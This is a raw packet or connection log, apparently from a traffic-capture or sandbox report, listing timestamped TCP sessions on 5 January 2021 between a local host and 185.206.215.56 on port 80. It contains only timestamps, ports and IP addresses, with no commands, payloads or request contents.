Jan 5, 2021 19:06:12.527606964 CET	49180	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:12.605349064 CET	80	49180	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:12.609106064 CET	80	49180	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:12.609150887 CET	80	49180	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:12.609215021 CET	49180	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:12.609328032 CET	49180	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:12.657938004 CET	80	49180	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:12.779948950 CET	49181	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:12.828975916 CET	80	49181	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:12.829154015 CET	49181	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:12.832798958 CET	49181	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:12.902344942 CET	80	49181	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:12.902548075 CET	49181	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:12.964883089 CET	80	49181	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:12.987730980 CET	80	49181	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:12.987780094 CET	80	49181	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:12.988143921 CET	49181	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:12.988200903 CET	49181	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:13.038623095 CET	80	49181	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:13.157895088 CET	49182	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:13.206799984 CET	80	49182	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:13.206949949 CET	49182	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:13.213063955 CET	49182	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:13.277789116 CET	80	49182	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:13.277957916 CET	49182	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:13.356594086 CET	80	49182	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:13.388159037 CET	80	49182	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:13.388207912 CET	80	49182	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:13.388303995 CET	49182	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:13.388360977 CET	49182	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:13.436899900 CET	80	49182	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:13.551263094 CET	49183	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:13.600078106 CET	80	49183	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:13.600249052 CET	49183	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:13.606386900 CET	49183	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:13.683548927 CET	80	49183	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:13.683672905 CET	49183	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:13.745913029 CET	80	49183	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:13.778989077 CET	80	49183	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:13.779042006 CET	80	49183	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:13.779299021 CET	49183	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:13.779325008 CET	49183	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:13.827997923 CET	80	49183	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:13.947487116 CET	49184	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:13.997457027 CET	80	49184	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:13.997590065 CET	49184	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:14.002546072 CET	49184	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:14.073945045 CET	80	49184	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:14.074076891 CET	49184	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:14.139193058 CET	80	49184	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:14.168911934 CET	80	49184	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:14.168955088 CET	80	49184	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:14.169107914 CET	49184	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:14.171968937 CET	49184	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:14.220925093 CET	80	49184	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:14.336309910 CET	49185	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:14.385247946 CET	80	49185	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:14.385425091 CET	49185	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:14.391398907 CET	49185	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:14.464740038 CET	80	49185	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:14.464921951 CET	49185	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:14.543235064 CET	80	49185	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:14.558085918 CET	80	49185	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:14.558126926 CET	80	49185	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:14.558197975 CET	49185	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:14.558271885 CET	49185	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:14.606947899 CET	80	49185	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:14.733472109 CET	49186	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:14.782566071 CET	80	49186	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:14.782753944 CET	49186	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:14.788464069 CET	49186	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:14.855730057 CET	80	49186	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:14.855834007 CET	49186	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:14.933501959 CET	80	49186	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:14.954180002 CET	80	49186	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:14.954221010 CET	80	49186	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:14.954307079 CET	49186	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:14.954375029 CET	49186	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:15.003130913 CET	80	49186	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:15.114728928 CET	49187	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:15.163727999 CET	80	49187	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:15.163810968 CET	49187	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:15.165872097 CET	49187	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:15.246373892 CET	80	49187	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:15.246450901 CET	49187	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:15.324268103 CET	80	49187	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:15.352806091 CET	80	49187	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:15.352848053 CET	80	49187	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:15.352904081 CET	49187	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:15.352943897 CET	49187	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:15.401813984 CET	80	49187	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:15.498804092 CET	49188	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:15.547683954 CET	80	49188	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:15.548111916 CET	49188	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:15.552401066 CET	49188	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:15.620954037 CET	80	49188	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:15.621453047 CET	49188	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:15.683408976 CET	80	49188	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:15.734059095 CET	80	49188	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:15.734105110 CET	80	49188	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:15.734864950 CET	49188	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:15.735124111 CET	49188	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:15.783627033 CET	80	49188	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:15.905061960 CET	49189	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:15.954086065 CET	80	49189	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:15.954245090 CET	49189	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:15.960354090 CET	49189	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:16.042867899 CET	80	49189	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:16.043039083 CET	49189	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:16.121490002 CET	80	49189	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:16.139384985 CET	80	49189	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:16.139410973 CET	80	49189	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:16.139570951 CET	49189	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:16.139596939 CET	49189	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:16.188991070 CET	80	49189	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:16.303188086 CET	49190	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:16.352032900 CET	80	49190	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:16.352224112 CET	49190	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:16.358508110 CET	49190	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:16.433449030 CET	80	49190	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:16.433563948 CET	49190	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:16.496644974 CET	80	49190	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:16.531882048 CET	80	49190	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:16.531903982 CET	80	49190	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:16.532233000 CET	49190	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:16.532274008 CET	49190	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:16.581029892 CET	80	49190	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:16.740834951 CET	49191	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:16.789614916 CET	80	49191	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:16.789824963 CET	49191	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:16.795878887 CET	49191	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:16.870889902 CET	80	49191	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:16.871017933 CET	49191	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:16.933428049 CET	80	49191	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:16.967212915 CET	80	49191	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:16.967263937 CET	80	49191	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:16.967442036 CET	49191	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:16.967505932 CET	49191	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:17.016781092 CET	80	49191	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:17.132647991 CET	49192	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:17.181333065 CET	80	49192	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:17.181421041 CET	49192	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:17.183871031 CET	49192	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:17.246138096 CET	80	49192	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:17.246232033 CET	49192	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:17.324209929 CET	80	49192	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:17.344388008 CET	80	49192	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:17.344412088 CET	80	49192	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:17.344471931 CET	49192	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:17.344506025 CET	49192	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:17.393112898 CET	80	49192	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:17.514368057 CET	49193	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:17.563186884 CET	80	49193	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:17.563309908 CET	49193	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:17.566776991 CET	49193	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:17.636502028 CET	80	49193	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:17.636620998 CET	49193	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:17.708554029 CET	80	49193	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:17.726876020 CET	80	49193	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:17.726913929 CET	80	49193	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:17.727011919 CET	49193	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:17.727274895 CET	49193	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:17.776890039 CET	80	49193	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:17.894115925 CET	49194	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:17.942838907 CET	80	49194	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:17.943053961 CET	49194	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:17.949146032 CET	49194	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:18.027137041 CET	80	49194	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:18.032426119 CET	49194	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:18.105112076 CET	80	49194	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:18.134409904 CET	80	49194	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:18.134438992 CET	80	49194	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:18.134588003 CET	49194	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:18.134696960 CET	49194	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:18.182982922 CET	80	49194	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:18.310870886 CET	49195	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:18.359644890 CET	80	49195	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:18.359839916 CET	49195	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:18.364453077 CET	49195	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:18.433346033 CET	80	49195	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:18.433459997 CET	49195	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:18.496260881 CET	80	49195	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:18.531193972 CET	80	49195	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:18.531218052 CET	80	49195	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:18.531317949 CET	49195	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:18.531375885 CET	49195	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:18.580002069 CET	80	49195	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:18.732543945 CET	49196	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:18.781366110 CET	80	49196	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:18.781622887 CET	49196	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:18.788238049 CET	49196	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:18.855407000 CET	80	49196	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:18.855551958 CET	49196	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:18.933415890 CET	80	49196	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:18.959882975 CET	80	49196	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:18.959916115 CET	80	49196	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:18.960127115 CET	49196	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:18.960315943 CET	49196	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:19.008747101 CET	80	49196	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:19.121284962 CET	49197	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:19.170125961 CET	80	49197	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:19.170263052 CET	49197	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:19.176156998 CET	49197	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:19.245891094 CET	80	49197	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:19.246120930 CET	49197	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:19.324242115 CET	80	49197	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:19.341244936 CET	80	49197	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:19.341306925 CET	80	49197	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:19.341535091 CET	49197	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:19.341619968 CET	49197	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:19.392502069 CET	80	49197	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:19.524857044 CET	49198	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:19.573579073 CET	80	49198	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:19.573719978 CET	49198	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:19.576040030 CET	49198	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:19.652081966 CET	80	49198	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:19.652189016 CET	49198	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:19.715177059 CET	80	49198	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:19.751715899 CET	80	49198	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:19.751774073 CET	80	49198	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:19.751868010 CET	49198	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:19.751929045 CET	49198	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:19.800383091 CET	80	49198	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:19.904814959 CET	49199	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:19.953515053 CET	80	49199	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:19.953663111 CET	49199	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:19.958724022 CET	49199	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:20.027018070 CET	80	49199	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:20.027097940 CET	49199	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:20.105215073 CET	80	49199	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:20.125689983 CET	80	49199	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:20.125741005 CET	80	49199	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:20.125790119 CET	49199	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:20.125814915 CET	49199	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:20.174391985 CET	80	49199	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:20.336265087 CET	49200	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:20.385137081 CET	80	49200	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:20.385246992 CET	49200	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:20.390921116 CET	49200	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:20.464726925 CET	80	49200	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:20.466362000 CET	49200	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:20.542639017 CET	80	49200	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:20.569029093 CET	80	49200	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:20.569052935 CET	80	49200	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:20.569341898 CET	49200	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:20.569422960 CET	49200	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:20.617901087 CET	80	49200	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:20.893783092 CET	49201	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:20.942533970 CET	80	49201	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:20.944674015 CET	49201	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:20.950520992 CET	49201	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:21.027081966 CET	80	49201	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:21.027319908 CET	49201	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:21.105103016 CET	80	49201	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:21.111865044 CET	80	49201	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:21.111891031 CET	80	49201	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:21.112046957 CET	49201	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:21.112076998 CET	49201	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:21.161529064 CET	80	49201	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:21.508873940 CET	49202	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:21.557595015 CET	80	49202	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:21.557728052 CET	49202	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:21.679579973 CET	49202	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:21.745968103 CET	80	49202	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:21.746160984 CET	49202	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:21.823983908 CET	80	49202	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:21.837781906 CET	80	49202	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:21.837806940 CET	80	49202	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:21.837913990 CET	49202	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:21.837985992 CET	49202	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:21.889247894 CET	80	49202	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:22.252461910 CET	49203	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:22.301300049 CET	80	49203	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:22.301378965 CET	49203	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:22.303822041 CET	49203	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:22.371068954 CET	80	49203	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:22.371170998 CET	49203	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:22.484198093 CET	80	49203	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:22.484252930 CET	80	49203	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:22.484271049 CET	80	49203	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:22.484436989 CET	49203	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:22.484504938 CET	49203	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:22.533056021 CET	80	49203	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:22.639698029 CET	49204	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:22.688503981 CET	80	49204	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:22.688631058 CET	49204	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:22.694391966 CET	49204	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:22.777195930 CET	80	49204	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:22.777329922 CET	49204	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:22.856690884 CET	80	49204	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:22.877247095 CET	80	49204	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:22.877278090 CET	80	49204	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:22.877511978 CET	49204	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:22.877590895 CET	49204	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:22.926186085 CET	80	49204	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:23.039083958 CET	49205	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:23.087904930 CET	80	49205	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:23.088068962 CET	49205	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:23.094146967 CET	49205	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:23.169043064 CET	80	49205	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:23.169159889 CET	49205	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:23.246387005 CET	80	49205	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:23.267446041 CET	80	49205	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:23.267489910 CET	80	49205	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:23.267591000 CET	49205	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:23.267615080 CET	49205	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:23.316265106 CET	80	49205	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:23.419235945 CET	49206	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:23.467874050 CET	80	49206	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:23.468056917 CET	49206	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:23.470458031 CET	49206	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:23.542880058 CET	80	49206	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:23.543008089 CET	49206	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:23.605187893 CET	80	49206	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:23.640826941 CET	80	49206	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:23.640871048 CET	80	49206	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:23.641057968 CET	49206	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:23.641102076 CET	49206	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:23.690169096 CET	80	49206	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:23.807934999 CET	49207	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:23.856645107 CET	80	49207	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:23.856884003 CET	49207	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:23.862730026 CET	49207	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:23.933470964 CET	80	49207	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:23.933662891 CET	49207	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:23.997644901 CET	80	49207	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:24.026554108 CET	80	49207	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:24.026596069 CET	80	49207	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:24.026918888 CET	49207	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:24.026983976 CET	49207	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:24.075453043 CET	80	49207	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:24.191137075 CET	49208	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:24.240144014 CET	80	49208	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:24.240266085 CET	49208	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:24.246260881 CET	49208	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:24.324110031 CET	80	49208	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:24.324203968 CET	49208	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:24.386710882 CET	80	49208	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:24.440570116 CET	80	49208	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:24.440612078 CET	80	49208	185.206.215.56	192.168.2.22
